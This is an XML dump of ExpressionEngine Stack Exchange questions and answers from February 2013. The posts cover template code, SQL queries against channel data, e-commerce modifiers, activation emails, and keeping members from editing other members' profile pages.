  <row Id="5706" PostTypeId="2" ParentId="5696" CreationDate="2013-02-01T15:29:02.050" Score="1" Body="&lt;p&gt;You can't rename tabs. It's a system limitation. &quot;Easiest&quot; thing to do is create a new one and move your fields there. You can delete the old tab after.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2013-02-01T15:29:02.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5707" PostTypeId="2" ParentId="5696" CreationDate="2013-02-01T15:32:05.123" Score="0" Body="&lt;p&gt;As mentioned in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5652/293&quot;&gt;this answer&lt;/a&gt;, Zoo Flexible Admin may cover this and is great for customizing navigation &amp;amp; tabs in the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-01T15:32:05.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5708" PostTypeId="1" CreationDate="2013-02-01T15:37:36.133" Score="4" ViewCount="422" Body="&lt;p&gt;Expresso Store's default behavior is to output modifiers as  menus. This makes sense when the product is a T-Shirt and the variations are predictable: you have a modifier for size (with options for S, M, L) and a modifier for Color (red, orange, yellow, green). Expresso Store outputs each modifier as a  menu, and the built-in Javascript updates the price variable and appropriate SKU so that the correct item is added to the cart when the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this UI isn't great for things like tickets, where you want to display the modifiers all at once. Suppose each product is a single production, with modifiers for dates and seating. How do you output buttons (essentially radio buttons) so the user can see all their options before clicking anything?&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="268" LastEditDate="2013-02-05T04:24:22.817" LastActivityDate="2013-02-05T04:24:22.817" Title="In Expresso Store, how do I use my own buttons for modifiers in place of &lt;select&gt; menus?" Tags="|add-on|expresso-store|javascript|jquery|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5709" PostTypeId="1" AcceptedAnswerId="5711" CreationDate="2013-02-01T16:19:12.823" Score="3" ViewCount="856" Body="&lt;p&gt;I want to display most of my Channel fields in a table (with some exceptions). Is there a way to loop through the Channel fields and display their labels and field values? Keep in mind that some fields are relationships and I need to use &lt;code&gt;related_entries&lt;/code&gt; to access the correct data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have created a custom publish layout (grouping related fields under certain tabs). It would be even better if I could output separate tables based on the tab organization in my custom publish layout. Doable?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-01T20:58:52.763" Title="Looping Through All Channel Fields?" Tags="|channel-entries|templates|publish-layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5710" PostTypeId="2" ParentId="5441" CreationDate="2013-02-01T16:23:57.910" Score="3" Body="&lt;p&gt;I am assuming that what you're asking is for a way to remove the +/- buttons that allow for additional filter menus (Category/Author/Status) to be shown to the user on the Playa drop panes interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OoF6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, the only way you can hide those (as far as I can see) is to use some JS or CSS. You can use &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; to add bits of CSS or JS to the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a jQuery snippet that will remove the +/- buttons. Note that you'll need to replace the field_id (XX) with the actual field_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('#field_id_XX').find('.playa-dp-remove, .playa-dp-add').hide();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#field_id_XX .playa-dp-remove, &#xA;#field_id_XX .playa-dp-add&#xA;{&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-02-01T16:23:57.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5711" PostTypeId="2" ParentId="5709" CreationDate="2013-02-01T16:32:23.270" Score="2" Body="&lt;p&gt;Here's a loop for the Field Labels, assuming you want those as header cells above your Field Values in your table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;{exp:query sql=&quot;Select CONCAT('field_id_',field_id) 'field_id', field_name, field_label&#xA;     from exp_channel_fields f join exp_channels c on c.field_group = f.group_id&#xA;     where c.channel_id = 1&#xA;     order by field_order&quot;}&#xA;     &amp;lt;th&amp;gt;{field_label}&amp;lt;/th&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think that takes into consideration Publish Layout order. I assume that's also in exp_channel_fields, but am not sure how it's stored. It does reference the Field Order you set in the field definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then looped through the entries in that channel, you might pass the entry_id for each row into a nested template that will loop through these field IDs and get each value in the same order from exp_channel_data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; Trying to query all the corresponding fields in each pass of a channel:entries loop is going to be a lot of queries. Really what you want to do is use the first query to generate a string of column names, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_id_10, field_id_11, field_id_34, field_id_35&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then build that into another SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select field_id_10, field_id_11, field_id_34, field_id_35&#xA;from exp_channel_data d join exp_channel_titles t on d.entry_id = t.entry_id where t.channel_id = 1&#xA;order by title asc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the first query gets your column headings and can be used to generate a matching field list. The second query gets the field data in the same order as the field list, for every entry. I can't help thinking that should reside in PHP, because then you can use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;query_result[0]&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;query_result[1]&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;query_result[2]&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;query_result[3]&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without having to know the field_id_# names. You could also iterate over the length of the results array, so you wouldn't need to know how many fields are being returned. It'd be completely data-driven.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-01T20:58:52.763" LastActivityDate="2013-02-01T20:58:52.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5712" PostTypeId="1" AcceptedAnswerId="5715" CreationDate="2013-02-01T16:37:38.993" Score="1" ViewCount="162" Body="&lt;p&gt;Pseudo Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select zoo visitor channel fields from exp_channel data&#xA;And author_id from exp_channel_titles (joined on entry_id)&#xA;Where channel_id = my zoo visitor channel&#xA;And author_id does not have an entry where channel_id = orders channel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In english - I want to select some user data for all users who do not have an order.  Can this be done entirely in a query, or would PHP be necessary?  This isn't strictly an EECMS question, but I'll bet someone here can help.  If you can frame out what that query would look like, bonus points!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the query I have now, which is the first 3 lines, but doesn't account for 'no orders':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select cd.field_id_XX as first_name, cd.field_id_XX as middle_name,&#xA;cd.field_id_XX as last_name, cd.field_id_XX as suffix, &#xA;ct.author_id as member_id from exp_channel_data as cd &#xA;join exp_channel_titles as ct on cd.entry_id = ct.entry_id &#xA;where cd.channel_id = &quot;XX&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="364" LastEditorUserId="364" LastEditDate="2013-02-01T16:45:27.327" LastActivityDate="2013-02-01T17:01:15.860" Title="Is this channel data query possible?" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5714" PostTypeId="1" AcceptedAnswerId="5722" CreationDate="2013-02-01T16:54:08.723" Score="1" ViewCount="165" Body="&lt;p&gt;Just looking at finding the best ways ways to protect member profile editing pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have members profiles set up under a template structure such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;members/profile/{member_id}/sub-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats is fine, all these pages are public. I do however show, on the members own profile page, a link to edit their details. This is displayed via the conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == logged_in_member_id}                   &#xA;   &amp;lt;a href=&quot;{path='members/account/{member_id}/profile'}&quot;&amp;gt;Edit Your Account&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then have the account edit pages such as (this is actually one template using switchee)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;members/account/{member_id}/profile&#xA;members/account/{member_id}/password&#xA;members/account/{member_id}/avatar&#xA;members/account/{member_id}/notifications&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But these pages should &lt;strong&gt;&lt;em&gt;only&lt;/em&gt;&lt;/strong&gt; be viewed by the logged in member, which at the moment is easily bypassed via just changing the &lt;code&gt;member_id&lt;/code&gt; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be the best way to protect these pages, so if someone did try and change the &lt;code&gt;member_id&lt;/code&gt; in the URL, they would not be able to access other users pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And whilst I'm on this subject, is is possible to use the &lt;code&gt;username&lt;/code&gt; in the URL as opposed to the &lt;code&gt;member_id&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-01T21:45:49.383" Title="Ways method to protect members profile edit pages?" Tags="|members|url|member-details|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5715" PostTypeId="2" ParentId="5712" CreationDate="2013-02-01T16:55:55.800" Score="4" Body="&lt;p&gt;I think you would need a subquery to make this happen&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select cd.field_id_XX as first_name, cd.field_id_XX as middle_name,&#xA;cd.field_id_XX as last_name, cd.field_id_XX as suffix, &#xA;ct.author_id as member_id&#xA;from exp_channel_data as `cd`&#xA;left join exp_channel_titles as `ct` on cd.entry_id = ct.entry_id&#xA;where cd.channel_id = &quot;XX&quot;&#xA;and (select count(*) FROM exp_channel_titles where author_id = ct.author_id and channel_id = 'XXX') = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="934" LastEditorUserId="934" LastEditDate="2013-02-01T17:01:15.860" LastActivityDate="2013-02-01T17:01:15.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5716" PostTypeId="1" AcceptedAnswerId="6442" CreationDate="2013-02-01T17:11:13.823" Score="4" ViewCount="441" Body="&lt;p&gt;I submitted a support request to Mighty Big Robot, but I could use all the help I can get, so I'm posting here, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The activation email is not being sent after registration form submission. The form submits successfully, and the user is added to the “Pending” member list, but no activation email is sent. Here is the registration template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:register &#xA;  include_jquery='no' &#xA;  safecracker_head='no' &#xA;  return='notifications/submission-success/register' &#xA;  group_id='5' &#xA;  json='yes'&#xA;  class='member-register' &#xA;  rules:age='required' &#xA;  rules:email='required|valid_email' &#xA;  rules:member_first_name='required' &#xA;  rules:member_last_name='required' &#xA;  rules:screen_name='required' &#xA;  rules:password='required' &#xA;  rules:terms='required' &#xA;  activation_return='profile/registration-complete'&#xA;}&#xA;  &amp;lt;div class=&quot;fieldgroup form-select register age&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;age&quot;&amp;gt;Your Age&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;select name=&quot;member_age_range&quot; id=&quot;age&quot; class=&quot;required&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Select your age range&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;18-29&quot;&amp;gt;18-29&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;30-39&quot;&amp;gt;30-39&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;40-49&quot;&amp;gt;40-49&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;50-59&quot;&amp;gt;50-59&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;60-69&quot;&amp;gt;60-69&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;70 or Over&quot;&amp;gt;70 or Over&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;p class=&quot;small&quot;&amp;gt;You must be 18 or over to register.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/.row.form-select--&amp;gt;&#xA;&#xA;  &amp;lt;fieldset class=&quot;display&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;fieldgroup five columns&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;first-name&quot;&amp;gt;First Name&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;member_first_name&quot; id=&quot;first-name&quot; class=&quot;required&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.five-columns--&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup five columns&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;last-name&quot;&amp;gt;Last Name&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;member_last_name&quot; id=&quot;last-name&quot; class=&quot;required&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.five.columns--&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup ten columns&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;address-1&quot;&amp;gt;Address 1&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;member_address&quot; id=&quot;address-1&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.ten.columns--&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup ten columns&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;address-2&quot;&amp;gt;Address 2&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;member_address2&quot; id=&quot;address-2&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.ten.columns--&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;fieldgroup five columns&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;member_city&quot; id=&quot;city&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.five.columns--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;fieldgroup five columns&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;          &amp;lt;select name=&quot;member_state&quot; id=&quot;state&quot;&amp;gt; &#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;            {exp:reegion_select:states}&#xA;              &amp;lt;option value=&quot;{region_alpha2}&quot;&amp;gt;{region_name}&amp;lt;/option&amp;gt;&#xA;            {/exp:reegion_select:states}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.five.columns--&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.clearfix--&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup five columns&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;zip&quot;&amp;gt;Zip Code&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;member_zip&quot; id=&quot;zip&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.five.columns--&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;div class=&quot;fieldgroup&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;screen-name&quot;&amp;gt;Screen Name&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; id=&quot;screen-name&quot; class=&quot;required&quot;&amp;gt;&#xA;      &amp;lt;p class=&quot;small&quot;&amp;gt;This is the name that will show when you share your comments.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;member-email&quot;&amp;gt;Your Email&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;member-email&quot; class=&quot;email required&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;email-confirm&quot;&amp;gt;Repeat Email&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;email&quot; name=&quot;email_confirm&quot; id=&quot;email-confirm&quot; class=&quot;email required&quot; equalto=&quot;#member-email&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;member-password&quot;&amp;gt;Password&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;member-password&quot; class=&quot;required password&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fieldgroup&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;password-confirm&quot;&amp;gt;Repeat Password&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; id=&quot;password-confirm&quot; class=&quot;required password&quot; equalto=&quot;#member-password&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;div class=&quot;fieldgroup inline-checkbox&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;checkbox&quot; name=&quot;accept_terms&quot; id=&quot;terms&quot; class=&quot;required&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;terms&quot;&amp;gt;I agree to the &amp;lt;a href=&quot;{path='privacy-policy-and-terms-of-use'}&quot; target=&quot;_blank&quot;&amp;gt;terms and conditions&amp;lt;/a&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.inline-checkbox--&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;hp&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;beep&quot;&amp;gt;Don't type anything here.&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;beep&quot; id=&quot;beep&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/.hp--&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Register&quot; class=&quot;button&quot;&amp;gt;&#xA;&#xA;{/exp:profile:register} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything was working great on the dev server, but then we pushed to the live server and it stopped working. The biggest difference between the two servers is the live server has an SSL certificate installed, not sure if that’s relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sent a test email from the communicate tab, and that went through with no problems.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Profile:Edit 1.0.7&lt;/li&gt;&#xA;&lt;li&gt;EE 2.5.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-15T23:48:07.340" Title="Profile:Edit Not Sending Activation Emails" Tags="|members|profile-edit|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5717" PostTypeId="1" AcceptedAnswerId="6886" CreationDate="2013-02-01T17:14:15.393" Score="2" ViewCount="272" Body="&lt;p&gt;SEE: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#variable-pair-usage&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#variable-pair-usage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my images resized to multiple thumbnail sizes. How do I access the url, height, and width of a specific image thumbnail? I tried something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_file:150x100}&#xA;   {url}, {height}, {width}&#xA;{/my_image_file:150x100}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't seem to work. Instead, it looks like I was getting the original image (instead of the thumbnail). Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm using Matrix. Not sure if it matters. But there is an outer tag pair to loop through all the &lt;code&gt;my_image_file&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_file}&#xA;   {url:150x100}, {height:150x100}, {width:150x100}&#xA;{/my_image_file}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only worked for &lt;code&gt;url&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-02-01T18:15:57.690" LastActivityDate="2013-03-31T02:58:30.263" Title="Image rendition's height and width" Tags="|file-uploads|image|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5718" PostTypeId="1" AcceptedAnswerId="5729" CreationDate="2013-02-01T17:14:38.387" Score="1" ViewCount="67" Body="&lt;p&gt;How can I alter the subject of an order confirmation email? My client does different promotions throughout the year, and I'm looking to put a variable in the subject, if possible. For example, right now &quot;Cool Company Order Confirmation - Spring Promotion&quot;, and then later in the year &quot;Cool Company Order Confirmation - Fall Promotion&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to rename the Email Subject periodically, but I'd rather pull a promotion name from the checkout form that generated the order.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-02-01T23:31:35.850" Title="Can I Edit (make dynamic) the Subject of an Exp:resso Store Order Confirmation Email Template?" Tags="|add-on|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5720" PostTypeId="2" ParentId="5708" CreationDate="2013-02-01T17:51:48.017" Score="3" Body="&lt;p&gt;What about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;    {modifier_name}:&#xA;    {modifier_options}&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot; /&amp;gt; {option_name}&amp;lt;/label&amp;gt;&#xA;    {/modifier_options}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-01T17:51:48.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5721" PostTypeId="2" ParentId="5695" CreationDate="2013-02-01T18:06:27.020" Score="1" Body="&lt;p&gt;Fred,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to set system/expressionengine/cache to 777 permissions - or be on a setup where it is writable by your user and group without 777 permissions (such as how EngineHosting sets things up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should fix the writing to your cache file pretty easily.  Are you having trouble writing any other caches? The easiest way to find out is to turn some template caching on and check those folders for files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-01T18:06:27.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5722" PostTypeId="2" ParentId="5714" CreationDate="2013-02-01T18:17:57.470" Score="5" Body="&lt;p&gt;&lt;strong&gt;Option 1: Use Conditionals&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;members/account/{member_id}/profile&lt;/code&gt; template (or portion of your template, since you're using Switchee), you can wrap the profile-editing form and other content in a conditional to make sure the user can only edit their own profile. All other users can be shown alternate content (an error message  in this example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == logged_in_member_id}                   &#xA;   {!-- Profile-editing template stuff here --}&#xA;{/if}&#xA;&#xA;{if segment_3 != logged_in_member_id}                   &#xA;   &amp;lt;div class=&quot;error&quot;&amp;gt;You are not authorized to access this page.&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2: Avoid segment variables and rely on your add-on(s)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option, since you are using User and/or FreeMember, is to rely on their profile editing tags to take care of locking down the forms so that users cannot edit other user's profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FreeMember &lt;a href=&quot;https://github.com/expressodev/freemember/wiki/Update-Profile-Tag&quot; rel=&quot;nofollow&quot;&gt;update_profile&lt;/a&gt; tag is automatically tied to the currently logged in user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or with User's &lt;a href=&quot;http://www.solspace.com/docs/user/edit/&quot; rel=&quot;nofollow&quot;&gt;edit&lt;/a&gt; tag you should be able to specify the &lt;a href=&quot;http://www.solspace.com/docs/user/edit/#member_id&quot; rel=&quot;nofollow&quot;&gt;member_id parameter&lt;/a&gt; to be &lt;code&gt;{logged_in_member_id}&lt;/code&gt; to limit the edit form only to the currently logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With either of these two add-on-specific methods you don't need to rely on the &lt;code&gt;member_id&lt;/code&gt; being in the URL and so you avoid the issue entirely.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-01T21:45:49.383" LastActivityDate="2013-02-01T21:45:49.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5723" PostTypeId="2" ParentId="5714" CreationDate="2013-02-01T21:16:27.640" Score="0" Body="&lt;p&gt;By far the simplest way is to use a conditional to check the logged in member ID against the member id in the url. As mentioned in Alex Kendrick's answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id == segment_3}&#xA;    stuff only visible to member&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-02-01T21:16:27.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
